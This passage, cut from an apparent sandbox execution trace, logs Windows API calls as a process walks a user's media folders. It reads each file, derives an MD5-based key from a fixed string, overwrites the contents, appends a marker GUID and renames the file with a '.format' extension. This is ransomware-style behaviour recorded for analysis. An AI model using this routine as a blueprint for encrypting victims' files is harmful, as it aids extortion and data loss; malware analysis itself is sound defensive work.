(lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.860] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.860] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.861] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.861] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.861] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.861] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.861] GetLastError () returned 0x0 [0069.861] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.861] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.862] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x94d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.862] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.862] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.862] CloseHandle (hObject=0x5c8) returned 1 [0069.863] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\SRxR.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\zhcquxkyxwu7mv\\srxr.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\SRxR.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\zhcquxkyxwu7mv\\srxr.m4a.format")) returned 1 [0069.864] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dca8fb0, ftCreationTime.dwHighDateTime=0x1d4c958, ftLastAccessTime.dwLowDateTime=0xebd7d5a0, ftLastAccessTime.dwHighDateTime=0x1d4cd77, ftLastWriteTime.dwLowDateTime=0xebd7d5a0, ftLastWriteTime.dwHighDateTime=0x1d4cd77, nFileSizeHigh=0x0, nFileSizeLow=0x94d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SRxR.m4a", cAlternateFileName="")) returned 0 [0069.864] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.865] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.865] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.865] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.865] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee680 [0069.865] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\") returned="WnrIX\\" [0069.865] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee530 [0069.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\") returned="3Us5nuIYL1u_RnPPuJ\\" [0069.865] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0069.865] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x316c448 [0069.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\") returned="Pmee\\" [0069.865] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31757d8 [0069.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\") returned="3ymkgwpUkCk\\" [0069.865] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0069.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0069.865] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187228 [0069.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.865] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eca0 [0069.865] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.865] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.865] PathFindFileNameW (pszPath="") returned="" [0069.865] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0069.866] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4792a250, ftCreationTime.dwHighDateTime=0x1d4c745, ftLastAccessTime.dwLowDateTime=0xd1d6aa00, ftLastAccessTime.dwHighDateTime=0x1d4c7c8, ftLastWriteTime.dwLowDateTime=0xd1d6aa00, ftLastWriteTime.dwHighDateTime=0x1d4c7c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0069.866] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4792a250, ftCreationTime.dwHighDateTime=0x1d4c745, ftLastAccessTime.dwLowDateTime=0xd1d6aa00, ftLastAccessTime.dwHighDateTime=0x1d4c7c8, ftLastWriteTime.dwLowDateTime=0xd1d6aa00, ftLastWriteTime.dwHighDateTime=0x1d4c7c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.866] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf56b7c0, ftCreationTime.dwHighDateTime=0x1d4c93a, ftLastAccessTime.dwLowDateTime=0xb56e0730, ftLastAccessTime.dwHighDateTime=0x1d4ce41, ftLastWriteTime.dwLowDateTime=0xb56e0730, ftLastWriteTime.dwHighDateTime=0x1d4ce41, nFileSizeHigh=0x0, nFileSizeLow=0x9f03, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AgA3ZST-09kNuz.avi", cAlternateFileName="AGA3ZS~1.AVI")) returned 1 [0069.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee530 [0069.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0069.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee530 | out: hHeap=0x5d0000) returned 1 [0069.866] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\AgA3ZST-09kNuz.avi") returned=".avi" [0069.866] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\AgA3ZST-09kNuz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\aga3zst-09knuz.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.866] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=40707) returned 1 [0069.866] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.869] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x9edd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.869] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183008 [0069.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.869] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.870] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x9f03, lpOverlapped=0x0) returned 1 [0069.870] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.870] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.870] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.870] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.871] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.871] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.871] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.871] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.871] GetLastError () returned 0x0 [0069.871] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.871] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x9f00) returned 0x32b2f40 [0069.871] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.871] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x9efe, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x9efe, lpOverlapped=0x0) returned 1 [0069.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.872] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x9f03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0069.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0069.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.872] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0069.872] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.872] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.872] CloseHandle (hObject=0x5c8) returned 1 [0069.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x3146a70 [0069.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e0) returned 0x3178dd8 [0069.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3146a70 | out: hHeap=0x5d0000) returned 1 [0069.873] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\AgA3ZST-09kNuz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\aga3zst-09knuz.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\AgA3ZST-09kNuz.avi.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\aga3zst-09knuz.avi.format")) returned 1 [0069.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.874] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.875] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.875] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6da960, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0xd17265a0, ftLastAccessTime.dwHighDateTime=0x1d4ce39, ftLastWriteTime.dwLowDateTime=0xd17265a0, ftLastWriteTime.dwHighDateTime=0x1d4ce39, nFileSizeHigh=0x0, nFileSizeLow=0xa950, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="n1AeAV2zVh4radr0H.swf", cAlternateFileName="N1AEAV~1.SWF")) returned 1 [0069.875] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee530 [0069.875] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0069.875] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee530 | out: hHeap=0x5d0000) returned 1 [0069.875] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\n1AeAV2zVh4radr0H.swf") returned=".swf" [0069.875] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\n1AeAV2zVh4radr0H.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\n1aeav2zvh4radr0h.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.876] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=43344) returned 1 [0069.876] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.878] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa92a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.878] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183008 [0069.879] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.879] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.879] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xa950, lpOverlapped=0x0) returned 1 [0069.879] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.879] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.879] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.879] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.880] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.880] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.880] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.880] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.880] GetLastError () returned 0x0 [0069.880] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.880] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa950) returned 0x32b2f40 [0069.881] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.881] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xa94b, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xa94b, lpOverlapped=0x0) returned 1 [0069.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.881] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa950, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0069.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0069.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.881] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0069.881] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.882] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.882] CloseHandle (hObject=0x5c8) returned 1 [0069.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x3146a70 [0069.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e0) returned 0x3178dd8 [0069.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3146a70 | out: hHeap=0x5d0000) returned 1 [0069.883] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\n1AeAV2zVh4radr0H.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\n1aeav2zvh4radr0h.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\n1AeAV2zVh4radr0H.swf.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\n1aeav2zvh4radr0h.swf.format")) returned 1 [0069.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.883] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.884] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f5a820, ftCreationTime.dwHighDateTime=0x1d4d35c, ftLastAccessTime.dwLowDateTime=0xff697e0, ftLastAccessTime.dwHighDateTime=0x1d4d3b4, ftLastWriteTime.dwLowDateTime=0xff697e0, ftLastWriteTime.dwHighDateTime=0x1d4d3b4, nFileSizeHigh=0x0, nFileSizeLow=0xbd1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QEzesBv71jyTVEofztiW.mp4", cAlternateFileName="QEZESB~1.MP4")) returned 1 [0069.884] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee530 [0069.884] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0069.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee530 | out: hHeap=0x5d0000) returned 1 [0069.884] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\QEzesBv71jyTVEofztiW.mp4") returned=".mp4" [0069.884] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\QEzesBv71jyTVEofztiW.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\qezesbv71jytveofztiw.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.885] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=3025) returned 1 [0069.885] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.887] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xbab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.887] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, 